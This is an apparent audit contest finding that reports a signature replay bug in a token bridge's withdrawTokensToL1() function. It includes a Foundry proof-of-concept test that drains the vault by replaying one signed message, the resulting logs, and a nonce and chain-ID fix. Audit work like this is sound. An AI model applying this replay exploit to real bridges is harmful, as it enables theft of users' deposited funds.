Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Withdrawals can be replayed and drain the bridge vault

Summary

Signer's withdrawal message can be replayed by anyone and be repeated until no funds remain in the Bridge Vault.

Vulnerability Details

Overview:

The protocol allows trusted signers to read deposit information on the L2 side
and to release the corresponding funds on the L1 side through the
withdrawTokensToL1() function. Anyone can call this withdraw function and
the protocol verifies that the withdrawal is authorized by verifying that the
signature originates from one of the trusted signers.
It then reads the properties from the message:

  • target address - the recipient of the funds

  • value - ETH to send to the recipient

  • message - calldata to call the target address with

The intended usage is that the target is the token to be withdrawn
and that the calldata represents a call to transferFrom() which
moves the funds from the vault to the bridge user.

The problem with this is the verification of this message, which looks
like (from sendToL1() in L1BossBridge.sol):

address signer = ECDSA.recover(MessageHashUtils.toEthSignedMessageHash(keccak256(message)), v, r, s);
if (!signers[signer]) {
revert L1BossBridge__Unauthorized();
}

The only verification is that the signer is trusted.
There is no logic to verify that the message hasn't already been processed.
That means it can be reused an arbitrary amount of times by an attacker to
withdraw funds until there are none left in the bridge vault.

Proof of Concept

The following code shows a POC.
Add the the below test function to L1TokenBridge.t.sol.
The test always passes but logs the effects of the attack.

function testPOC_UserCanReplayWithdrawals() external {
// Starting state
// Bridge has been used for a while and gathered some
// deposits on the L1 side. For the purpose of this POC, a whale
// has deposited a juicy amount
vm.startPrank(user);
uint256 existingDeposits = 1000e18;
token.approve(address(tokenBridge), existingDeposits);
tokenBridge.depositTokensToL2(user, user, existingDeposits);
vm.stopPrank();
uint256 initialL1Vault = token.balanceOf(address(vault));
// The scenario for this POC is that the attacker has bought some of the
// tokens on the L2 side and is now bridging back over to L1.
// This triggers one of the Signers into signing the message that allows
// the attacker to withdraw the same amount of tokens on the L1 side.
address attacker = makeAddr("attacker");
uint256 attackerL1Initial = token.balanceOf(attacker);
uint256 attackerL2Deposit = 1e18;
(uint8 v, bytes32 r, bytes32 s) = _signMessage(_getTokenWithdrawalMessage(attacker, attackerL2Deposit), operator.key);
// Ok lets withdraw the tokens from the bridge
// This illustrates the intended functionality
vm.startPrank(attacker); // Not really necessary, anyone can send the message
tokenBridge.withdrawTokensToL1(attacker, attackerL2Deposit, v, r, s);
console2.log("====== Initial balances ======");
console2.log(" Vault initial L1 balance: %s", initialL1Vault);
console2.log(" Attacker initial L1 balance: %s", attackerL1Initial);
console2.log(" Attacker deposited on L2: %s", attackerL2Deposit);
console2.log(" Attacker L1 balance after 1 withdrawal: %s", token.balanceOf(attacker));
// But wait, the signing key can be used again, and again...
uint256 replays = 0;
while (true) {
// Keep trying until there are no more funds left and the call fails
try tokenBridge.withdrawTokensToL1(attacker, attackerL2Deposit, v, r, s) {
replays++;
} catch {
break;
}
}
console2.log("");
console2.log("====== Final result ======");
console2.log(" Replayed number of times: %s", replays);
console2.log(" Vault L1 balance after: %s", token.balanceOf(address(vault)));
console2.log(" Attacker L1 balance after: %s", token.balanceOf(attacker));
}

Run the test case using: forge test -vv --mt ReplayWithdrawals

Below is the resulting log output. As can be seen the attacker
ends up with the whole amount previously in the bridge by reusing
the signed message 999 extra times. Instead of the 1 ETH bridged, the attacker was able to withdraw a total of 1000 ETH (everything in the vault).

Logs:
====== Initial balances ======
Vault initial L1 balance: 1000000000000000000000
Attacker initial L1 balance: 0
Attacker deposited on L2: 1000000000000000000
Attacker L1 balance after 1 withdrawal: 1000000000000000000
====== Final result ======
Replayed number of times: 999
Vault L1 balance after: 0
Attacker L1 balance after: 1000000000000000000000

Furthermore, depending on the exact contract addresses of tokens and vaults on different
chains, this attack could potentially also be replayed on other chains.
As is, the implementation also makes it very hard for multiple bridge signers to
operate since they could accidentally all sign withdrawal messages for the same
deposit.

Impact

Anyone can drain the L1 vault of all its funds by bridging a relatively small amount once.

Tools Used

Manual review

Recommendations

The message that is signed must contain some sort of ID for that bridging transaction, and
the protocol must have a mapping of which IDs have already been acted on.

Since there might also be a risk of messages being replayed on multiple chains
(Mainnet and zkSync for now and maybe others in the future) a message should also
be unique between different source chains and destination chains. I suggest adding the following fields to the signed message:

  • source deposit nonce -this is a counter for every deposit made to that contract.

  • source chainId

  • destination chainId

Source deposit nonces may be the same for vaults on different L1s and L2s but combined
with source chainId we get an ID that is unique across the protocol on all chains.
destination chainId is also used in order to protect a message to be authorized on
a chain it was not intended for.

The flow would then go something like this:

  • User deposits on L2 - the deposit event will include the nonce and the
    intended destination chainId.

  • A signer picks up the event and prepares a message that includes
    the source chainId, the destination chainId, and the deposit nonce.

  • The signer signs the message and calls the withdraw function on the
    destination side.

  • The protocol will verify the signature as before, but in addition it will
    also create a hash of the source chainId and nonce. It must then require
    that this hash has not been processed before
    (a mapping from hash to a boolean could be used here).
    It must also verify that the destination chainId of the message matches
    the current chainId.

Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.